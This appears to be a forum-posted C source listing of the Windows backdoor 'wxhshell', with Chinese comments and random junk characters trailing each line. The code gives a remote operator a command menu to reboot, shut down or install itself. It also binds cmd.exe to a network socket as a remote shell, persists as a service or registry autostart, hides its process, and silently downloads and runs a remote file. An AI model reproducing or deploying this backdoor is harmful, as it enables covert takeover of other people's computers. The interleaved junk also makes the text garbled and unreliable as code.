  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "gXvnl  
  } |(5|6r3  
  else { +4k4z:<n  
?T>NvKF  
    switch(cmd[0]) {  s)9 sb J  
  :(4];Va  
  // 帮助 i6k~j%0m  
  case '?': { o H]FT{  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); .j`8E^7<  
    break; ~0L:c&V  
  } 02po;  
  // 安装 9}11>X  
  case 'i': { 6/|"y  
    if(Install()) uJJP<mDgA  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); DjiWg(X  
    else =fI0q7]ndz  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !6*4^$i#o  
    break; q/3co86c  
    } ?WrL<?r)}U  
  // 卸载 inyS4tb  
  case 'r': { ?MJ5GVeH  
    if(Uninstall()) w)Y}hlcq  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); D^w<V%] .  
    else 2/l4,x  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); wKy4Ic+RV  
    break; H&0S  
    } 4$4n9`odE  
  // 显示 wxhshell 所在路径 .u;'eVH)a}  
  case 'p': { ^I!gteU;  
    char svExeFile[MAX_PATH]; t\lx*_lr  
    strcpy(svExeFile,"\n\r"); 7 '7a`-W  
      strcat(svExeFile,ExeFile); RH;Kbu  
        send(wsh,svExeFile,strlen(svExeFile),0); Cta!"=\  
    break; =5M '+>  
    } 1i$OcN?x%  
  // 重启 TK#-;p_  
  case 'b': { &fifOF#[ e  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); [&{NgUgu"  
    if(Boot(REBOOT)) 21\?FQrz  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )H1chNI)  
    else { eRIdN(pP  
    closesocket(wsh); $+HS^m  
    ExitThread(0); 4\2~wSr  
    } OC2%9Igx0  
    break; s9BdmD^|#  
    } _P{v=`]Eu  
  // 关机 f{#Mc  
  case 'd': { ,CnUQx0  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); /Pa<I^-#  
    if(Boot(SHUTDOWN)) b/eo]Id]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); avH3{V  
    else { Bh!J&SM:  
    closesocket(wsh); ^r~R]stE^  
    ExitThread(0); i<{/r-w=E  
    } Z/I`XPmk  
    break; R]_fe4Y0  
    } hFt~7R  
  // 获取shell 2pAshw1G  
  case 's': { "4i_}  
    CmdShell(wsh); (OHd} YQ  
    closesocket(wsh); n`7n5M*  
    ExitThread(0); ,NQ>,}a0  
    break; x:IY6  l  
  } u2Qs}FX  
  // 退出 /4u:5G  
  case 'x': { 8\8%FSrc  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); LY(h>`  
    CloseIt(wsh); zy[|4Q(?  
    break; |c!lZo/  
    } 7.xJ:r|  
  // 离开 R)qK{wq(1E  
  case 'q': { DZ0\pp?S  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Jf8AKj3  
    closesocket(wsh); {X>U`0P  
    WSACleanup(); 74*iF'f?c  
    exit(1); hdee]qLS  
    break; BGVy \F<  
        } &8 4Izs/[  
  } [{9&KjI0K  
  } Q@#Gm9m  
@GE:<'_:{  
  // 提示信息 l ~ /y  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \{`*`WQF  
} K?aUIkVs  
  } V3}$vKQ  
*gXm&/2*  
  return; 7S9Q{  
} XvW $B|  
7q:  
// shell模块句柄 NbW5a3=  
int CmdShell(SOCKET sock) <(-4?"1  
{ 9 !qVYU42(  
STARTUPINFO si; ^o*$+DbC  
ZeroMemory(&si,sizeof(si)); "Q<*H<e  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; _7w2E   
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; yj{:%Km:`  
PROCESS_INFORMATION ProcessInfo; ,@*`2I>`  
char cmdline[]="cmd"; WP0{%  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); H0i\#)Xs  
  return 0; gedk  
} 9CTvG zkw  
$U/_8^6B0  
// 自身启动模式  !#8=tO  
int StartFromService(void) 4Vi&Y')f  
{ A'X, zw^}  
typedef struct cZXra(AD  
{ !4G<&hvb  
  DWORD ExitStatus; H=k*;'  
  DWORD PebBaseAddress; bwAL:  
  DWORD AffinityMask; & A<Pf.Us  
  DWORD BasePriority; ;F<)BEXC<  
  ULONG UniqueProcessId; h8_~ OX  
  ULONG InheritedFromUniqueProcessId; ' ! ls"qo  
}   PROCESS_BASIC_INFORMATION; rfNt  
gJ>HFid_C  
PROCNTQSIP NtQueryInformationProcess; k|}S K9  
"A?_)=zZ  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; '%"#]  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; p,w6D,h  
>h m<$3  
  HANDLE             hProcess; wc'K=;c  
  PROCESS_BASIC_INFORMATION pbi; lCyp&b#(L  
\W6 |un  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); "i_}\p.,X  
  if(NULL == hInst ) return 0; s~6irf/  
5K*-)F ]  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); wfrWpz=FO  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ?RD)a`y51  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); )(pJ~"'L  
%C[ ;&  
  if (!NtQueryInformationProcess) return 0; &j7l#Urq  
ai ,Mez  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ]jzINaMav  
  if(!hProcess) return 0; =JnUTc _u  
ico(4KSk  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; xQhvs=Zm]  
S&P5##.u`  
  CloseHandle(hProcess); PF(P"f.?D  
o^! Zt 9  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); =>CrZ23B "  
if(hProcess==NULL) return 0; h D/b O  
~U~4QQV  
HMODULE hMod; $V8B =k~  
char procName[255]; HiG&`:P>q  
unsigned long cbNeeded; R%Yws2Le2  
:q4 Mnr  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ;G3{ e  
`v)-v<  
  CloseHandle(hProcess); J)n g,i  
*{)![pDYd  
if(strstr(procName,"services")) return 1; // 以服务启动 ~>)GW  
 iV71t17  
  return 0; // 注册表启动 G?/1 F1  
} VMW ?[j  
mYk5f_}  
// 主模块 4>^ %_Xj[  
int StartWxhshell(LPSTR lpCmdLine) 2g^Kf,m  
{ AsM""x1Ix  
  SOCKET wsl; hGF(E*  
BOOL val=TRUE; viBf" .  
  int port=0; 2Xgw7` !L  
  struct sockaddr_in door; um&e.V)N  
B%9[  
  if(wscfg.ws_autoins) Install(); w|PZSOJ  
xZmKKKd0*  
port=atoi(lpCmdLine); /BVNJNhz  
/7h%sCX  
if(port<=0) port=wscfg.ws_port; |P2GL3NR  
nZN]Q9  
  WSADATA data; k>n^QHM  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; =k`(!r2"#  
6SsZK)X  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   t Q_}o[  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); W.n@  
  door.sin_family = AF_INET; R< xxwjt  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ^LT9t2  
  door.sin_port = htons(port); +.HQ+`8z]  
m= fmf(  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { W9V%Xc`LQ  
closesocket(wsl); mcDW&jwQ  
return 1; :"O=/p+*Us  
} #D+Fq^="P  
4Df TVO"h  
  if(listen(wsl,2) == INVALID_SOCKET) { &H5 6mL{  
closesocket(wsl); bTHa;* `  
return 1; ^ I,1kl~i  
} &TWO/F+Y  
  Wxhshell(wsl); 5 |C;]pq  
  WSACleanup(); n]coqJ  
8yFD2(#  
return 0; ?-\KVha  
8N-~.p  
} kC9A  
`Xmpm4 ]  
// 以NT服务方式启动 G68N@g  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) h/(9AO}t  
{ 3[aJ=5  
DWORD   status = 0; i$:CGUb  
  DWORD   specificError = 0xfffffff; 5'V'~Q%  
r?/>t1Z  
  serviceStatus.dwServiceType     = SERVICE_WIN32; HNjkRl)QR  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; T*h+"TmE  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; >cM U<'&  
  serviceStatus.dwWin32ExitCode     = 0; S^D ~A8u  
  serviceStatus.dwServiceSpecificExitCode = 0; _W#27I  
  serviceStatus.dwCheckPoint       = 0; 05pCgI}F>  
  serviceStatus.dwWaitHint       = 0; ^ad> (W  
6o A0a\G'  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 9R;s;2$.  
  if (hServiceStatusHandle==0) return; `(B1 "qRi  
a/)TJv  
status = GetLastError(); S8,+6+_7  
  if (status!=NO_ERROR) `O}. .N]g  
{ <6L$ :vT_  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; N{p2@_fnB  
    serviceStatus.dwCheckPoint       = 0; vW)GUAF[  
    serviceStatus.dwWaitHint       = 0; p6}jCGJ  
    serviceStatus.dwWin32ExitCode     = status; *%)L?*  
    serviceStatus.dwServiceSpecificExitCode = specificError; vlj|[joXw  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); NKd@ Kp`,  
    return; 7 cIVK}&  
  } )s=z i"  
tfv]AC7x  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Tu/JhP/g,`  
  serviceStatus.dwCheckPoint       = 0; l3iL.?&Pa  
  serviceStatus.dwWaitHint       = 0; 053W2Si   
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); H#Og0gEE}5  
} V">Uh@[J_  
dEe/\i'r9  
// 处理NT服务事件,比如:启动、停止 eIqj7UY_  
VOID WINAPI NTServiceHandler(DWORD fdwControl) DD3J2J  
{ w@%W{aUC  
switch(fdwControl) KP<J~+_ik  
{ >2g CM  
case SERVICE_CONTROL_STOP: ? ! 1uw  
  serviceStatus.dwWin32ExitCode = 0; F~l3?3ZV  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; swLgdk{8n  
  serviceStatus.dwCheckPoint   = 0; :&or'Yi}  
  serviceStatus.dwWaitHint     = 0; |g'sRTKJ  
  { <RhKlCP  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); i*U\~CZjT  
  } VJR'B={h  
  return; s9E:6  
case SERVICE_CONTROL_PAUSE: WVN Q}KY  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; }=GyBnXu  
  break; iPFYG  
case SERVICE_CONTROL_CONTINUE: BEI/OGp  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; #JLDj(a?  
  break; 9C4l@ jrF  
case SERVICE_CONTROL_INTERROGATE: dl":?D4H  
  break; 'g=yJ  
}; 2bxT%xH:g  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); wyc,Ir  
} 'Vrev8D  
/e7'5#v  
// 标准应用程序主函数 /t9w%Y  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) q/B+F%QiMQ  
{ +pcj8K%  
HRb_ZJz  
// 获取操作系统版本 Txfb-f!mv\  
OsIsNt=GetOsVer(); (bo bKr  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 1I@4xC #X  
M5x!84  
  // 从命令行安装 pz$$K?  
  if(strpbrk(lpCmdLine,"iI")) Install(); NqwVs VL  
[{{?e6J  
  // 下载执行文件 zPw R1>gL  
if(wscfg.ws_downexe) { "pWdz}!  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) AQiP2`?  
  WinExec(wscfg.ws_filenam,SW_HIDE); - 5k4vx N}  
} OUdeQO?  
Ch.T} %  
if(!OsIsNt) { "=".ne  
// 如果时win9x,隐藏进程并且设置为注册表启动 E%;'3Qykva  
HideProc(); &iGl)dDr  
StartWxhshell(lpCmdLine); H]!y |p  
} 9nG] .@ H  
else $>h#|?*?  
  if(StartFromService()) %&] }P;&  
  // 以服务方式启动 mhVoz0%1X  
  StartServiceCtrlDispatcher(DispatchTable); @"/}Al  
else KqSa"76R  
  // 普通方式启动 P5d@-l%}  
  StartWxhshell(lpCmdLine); :O!G{./(_  
nEp'l.T  
return 0; |,7J!7T(I  
}
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只看该作者 1 发表于: 2006-10-10
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